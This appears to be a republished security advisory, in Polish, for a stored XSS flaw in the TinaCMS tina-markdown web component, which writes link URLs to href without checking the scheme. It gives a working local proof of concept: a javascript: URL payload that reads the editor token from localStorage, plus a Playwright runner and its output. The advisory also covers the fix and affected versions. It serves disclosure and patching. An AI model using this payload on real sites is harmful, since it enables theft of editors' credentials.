@tinacms/web-components: `tina-markdown` zapisuje adresy URL odnośników w `href` bez walidacji schematu, umożliwiając stored XSS
Podsumowanie
<tina-markdown> renderuje AST tekstu sformatowanego (rich-text) do drzewa DOM i w przypadku węzłów a przypisuje adres URL węzła bezpośrednio do właściwości href odnośnika bez weryfikacji schematu. Odnośnik utworzony w CMS jako javascript:… jest renderowany jako aktywny element javascript:, w wyniku czego kliknięcie go przez odwiedzającego powoduje wykonanie skryptu dostarczonego przez atakującego w kontekście pochodzenia (origin) witryny. Wszystkie inne mechanizmy renderujące w repozytorium oczyszczają te adresy URL; ten komponent tego nie robi.
Szczegóły
Nieweryfikowane ujście danych:
packages/@tinacms/web-components/src/tina-markdown.js:67-69
if (node.type === 'html' || node.type === 'html_inline') {
return DOMPurify.sanitize(node.value, { RETURN_DOM_FRAGMENT: true });
}
packages/@tinacms/web-components/src/tina-markdown.js:75 if (node.url && node.type === 'a') el.href = node.url;
packages/@tinacms/web-components/src/tina-markdown.js:76 if (node.url && node.type === 'img') el.src = node.url;
node.url pochodzi z atrybutu content, który witryna pobiera z API treści TinaCMS (:169-176), czyli z dowolnej wartości wprowadzonej przez autora w polu rich-text. Wywołanie DOMPurify w wierszu :68 obsługuje wyłącznie węzły z surowym kodem HTML i zwraca wartość przed gałęzią odnośnika, więc nigdy nie weryfikuje node.url. Wiersz 75 to bezpośrednie przypisanie właściwości — bez parsera HTML i bez sanityzacji. Element shadow root mode: 'open' (:164-167) nie zapewnia izolacji skryptów.
Zabezpieczenie obecne w pozostałych rendererach:
packages/@tinacms/mdx/src/sanitize-url.ts:10 allowedSchemes = ['http','https','mailto','tel','xref']
packages/tinacms/src/rich-text/index.tsx:335 <a href={sanitizeUrl(child.url)}>
packages/tinacms/src/rich-text/index.tsx:322 <img src={sanitizeUrl(child.url)} .../>
packages/tinacms/src/rich-text/static.tsx:254 <a href={sanitizeUrl(child.url)}>
packages/tinacms/src/rich-text/static.tsx:242 <img src={sanitizeUrl(child.url)} .../>
packages/@tinacms/astro/src/LinkNode.astro:19 <a href={sanitizeHref(node.url)}>
packages/@tinacms/astro/src/ImageNode.astro:16 <img src={sanitizeImageSrc(node.url)} .../>
tina-markdown.js:75 jest jedynym ujściem odnośników tekstu sformatowanego w repozytorium, które pomija to sprawdzenie — sześć na siedem przeprowadza sanityzację.
Fakt, że jest to przeoczenie, a nie zamierzone działanie, potwierdza wpis w changelogu dla 0.2.0: wspomina on o celu "matching the components prop on the React and Astro renderers" przy jednoczesnym dodaniu DOMPurify dla węzłów html, natomiast packages/@tinacms/web-components/src/tina-markdown.test.ts:83-96 weryfikuje jedynie poprawne renderowanie odnośnika https://example.com — przypadki walidacji schematów nie są w ogóle uwzględnione.
Domyślnie włączone: customElements.define('tina-markdown', TinaMarkdown) uruchamia się w zasięgu modułu (:179); zaimportowanie opublikowanego punktu wejścia stanowi całą konfigurację, bez żadnych opcji ani ustawień sanityzatora.
Sugerowana poprawka — ponowne wykorzystanie istniejącego eksportu podścieżki bez zewnętrznych zależności zamiast wprowadzania trzeciej implementacji:
import { sanitizeUrl } from '@tinacms/mdx/sanitize-url';
if (node.url && node.type === 'a') el.href = sanitizeUrl(node.url);
if (node.url && node.type === 'img') el.src = sanitizeUrl(node.url);
Wariant o tej samej przyczynie źródłowej i tej samej poprawce: :76 (img.src). Adres URL z protokołem javascript: nie wykonuje się z poziomu img.src, dlatego nie jest tu oceniany, jednak ten wiersz również nie ma walidacji — z tego powodu w @tinacms/astro znajduje się osobne sprawdzenie sanitizeImageSrc.
PoC
Bezpieczny, lokalny, niedestrukcyjny. Pojedynczy serwer loopback symuluje publiczną witrynę renderującą rich-text z CMS. Strona ładuje tina-markdown.js bajt po bajcie z repozytorium (wraz z zadeklarowaną zależnością dompurify) i udostępnia również wewnętrzną funkcję sanitizeUrl, aby te same dane wejściowe mogły zostać sprawdzone przez standardowe zabezpieczenie jako próba kontrolna. Żaden ruch sieciowy nie opuszcza maszyny; ładunek zapisuje wyłącznie zmienną lokalną strony.
Użyte środowisko: Linux, Node v22.23.1, Google Chrome (/usr/bin/google-chrome) sterowany przez playwright@1.49.0.
Konfiguracja
git clone https://github.com/tinacms/tinacms.git tinacms-poc
cd tinacms-poc && git checkout 0d38acfdd23143384b8787d5d772b713fa7af163
REPO=$PWD
mkdir -p /tmp/tina-tm/site && cd /tmp/tina-tm
npm init -y >/dev/null
npm i --ignore-scripts dompurify@3.3.1 esbuild@0.25.0 playwright@1.49.0
cp "$REPO/packages/@tinacms/web-components/src/tina-markdown.js" ./tina-markdown.js
cp "$REPO/packages/@tinacms/mdx/src/sanitize-url.ts" ./sanitize-url.ts
entry.js:
import './tina-markdown.js'; // registers <tina-markdown>
import { sanitizeUrl } from './sanitize-url.ts'; // the canonical guard, for the control
window.__sanitizeUrl = sanitizeUrl;
site/index.html — drzewo AST odpowiada temu, co zwraca @tinacms/graphql dla źródła markdown [click me](javascript:…):
<!doctype html><html><head><title>public site rendering CMS rich-text</title></head>
<body>
<h1>Site page</h1>
<div id="host"></div>
<script type="module" src="/bundle.js"></script>
<script type="module">
const ast = {
type: 'root',
children: [
{ type: 'p', children: [
{ type: 'a',
url: "javascript:window.__pwned=document.domain+' | localStorage[tinacms-auth]='+localStorage.getItem('tinacms-auth');void 0",
children: [{ type: 'text', text: 'click me' }] }
]}
]
};
// Stand-in for a signed-in editor's stored TinaCMS credential. The real key and
// value are written by packages/tinacms/src/internalClient/authProvider.ts:117.
localStorage.setItem('tinacms-auth', 'DEMO-EDITOR-TOKEN');
const el = document.createElement('tina-markdown');
el.setAttribute('content', JSON.stringify(ast));
document.getElementById('host').appendChild(el);
window.__ready = true;
</script>
</body></html>
run.cjs:
const http=require('http'),fs=require('fs'),path=require('path'),{chromium}=require('playwright');
const PORT=8811, DIR=path.join(__dirname,'site');
const srv=http.createServer((req,res)=>{const p=req.url==='/'?'/index.html':req.url.split('?')[0];
const f=path.join(DIR,p); if(!f.startsWith(DIR)||!fs.existsSync(f)){res.writeHead(404).end('nf');return;}
res.writeHead(200,{'content-type':p.endsWith('.js')?'text/javascript':'text/html; charset=utf-8'});
res.end(fs.readFileSync(f));});
(async()=>{await new Promise(r=>srv.listen(PORT,'127.0.0.1',r));
const browser=await chromium.launch({executablePath:'/usr/bin/google-chrome'});
const page=await browser.newPage();
await page.goto(`http://127.0.0.1:${PORT}/`);
await page.waitForFunction(()=>window.__ready===true); await page.waitForTimeout(300);
const rendered=await page.evaluate(()=>{const a=document.querySelector('tina-markdown').shadowRoot.querySelector('a');
return {hrefAttr:a&&a.getAttribute('href')};});
await page.evaluate(()=>document.querySelector('tina-markdown').shadowRoot.querySelector('a').click());
await page.waitForTimeout(500);
const pwned=await page.evaluate(()=>window.__pwned||null);
const control=await page.evaluate(()=>window.__sanitizeUrl("javascript:window.__pwned = document.domain"));
console.log(JSON.stringify({renderedAnchorHref:rendered.hrefAttr, scriptExecutedOnClick:pwned!==null,
capturedByPayload:pwned, control_sanitizeUrl_output:control},null,2));
await browser.close(); srv.close();})();
Uruchomienie
cd /tmp/tina-tm
npx esbuild entry.js --bundle --outfile=site/bundle.js --format=esm --loader:.ts=ts
node run.cjs
Zaobserwowany wynik (zapisany dosłownie)
{
"renderedAnchorHref": "javascript:window.__pwned=document.domain+' | localStorage[tinacms-auth]='+localStorage.getItem('tinacms-auth');void 0",
"scriptExecutedOnClick": true,
"capturedByPayload": "127.0.0.1 | localStorage[tinacms-auth]=DEMO-EDITOR-TOKEN",
"control_sanitizeUrl_output": ""
}
Oczekiwany wynik dla podatnego kodu — renderedAnchorHref to niezmieniony ciąg znaków javascript: przekazany przez atakującego (brak walidacji schematu w ujściu), scriptExecutedOnClick to true, a capturedByPayload zawiera domenę strony oraz wartość odczytaną z localStorage['tinacms-auth'] (skrypt wykonał się w domenie witryny z pełnym dostępem do odczytu jej magazynu danych). Wszystkie warunki zostały spełnione.
Próba kontrolna — control_sanitizeUrl_output to "". Funkcja sanitizeUrl z repozytorium, wywołana w tym samym kontekście przeglądarki na tym samym rodzaju danych wejściowych, odrzuca podejrzany schemat. Jest to dokładnie to, co robią packages/tinacms/src/rich-text/index.tsx:335 oraz packages/@tinacms/astro/src/LinkNode.astro:19 dla identycznego AST, co potwierdza, że problem wynika wyłącznie z brakującego wywołania walidacji.
Druga próba kontrolna w obrębie tego samego pliku: węzeł html zawierający <a href="javascript:alert(1)">x</a> jest usuwany przez wywołanie DOMPurify w wierszu :68, co oznacza, że ten sam ładunek przekazany jako surowy HTML jest blokowany, podczas gdy przekazany jako węzeł odnośnika nie jest filtrowany.
Czyszczenie
rm -rf /tmp/tina-tm
PoC został ponownie uruchomiony po przygotowaniu tego raportu; powyższy format JSON pochodzi z tego uruchomienia.
Wpływ
Podatność stored cross-site scripting (XSS) wynikająca z braku weryfikacji schematu adresu URL w atrybucie odnośnika. Użytkownik posiadający wyłącznie uprawnienia do edycji treści może uzyskać możliwość wykonania kodu w sesjach przeglądarek wszystkich odwiedzających w kontekście pochodzenia witryny. Ponieważ zalecana struktura TinaCMS serwuje panel administracyjny z tego samego źródła (public/admin/) i przechowuje token edytora w localStorage pod kluczem tinacms-auth (packages/tinacms/src/auth/authenticate.ts:5, zapisywany w packages/tinacms/src/internalClient/authProvider.ts:117), odwiedzający będący edytorem lub administratorem naraża swoje poświadczenia na ujawnienie w wyniku kliknięcia — PoC odczytuje tę wartość.
Zagrożone są witryny renderujące rich-text TinaCMS przy użyciu <tina-markdown>. Komponent ten jest przeznaczony dla wdrożeń bez Reacta, które nie korzystają z zabezpieczonego renderera React z pakietu tinacms.
Podziękowania
- Thai Son Dinh z VinSOC Labs (R&D)
Co trzeba zrobić
Zaktualizuj pakiet @tinacms/web-components do wersji 0.2.1 lub nowszej.
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Paczka npm | @tinacms/web-components | < 0.2.1 | 0.2.1 |
Odnośniki
- https://github.com/tinacms/tinacms/security/advisories/GHSA-c42q-qvc3-j6vg
- https://github.com/tinacms/tinacms/pull/7523
- https://github.com/tinacms/tinacms/commit/5295e077f0d279c35686a0e481a15e33a4877e3b
- https://github.com/tinacms/tinacms
- https://github.com/tinacms/tinacms/releases/tag/@tinacms/web-components@0.2.1
- Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N- Słabość (CWE)
CWE-79, CWE-83- Platforma
- npm
- Paczka
@tinacms/web-components- Ujawniono
- 09.10.2026
- Aktualizacja
- 11.10.2026 10:30
Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.
OSV / GitHub Advisory Database - GHSA-c42q-qvc3-j6vg - CC BY 4.0
Historia podatności: @tinacms/web-components
Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
To jedyna znana podatność tej paczki.
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.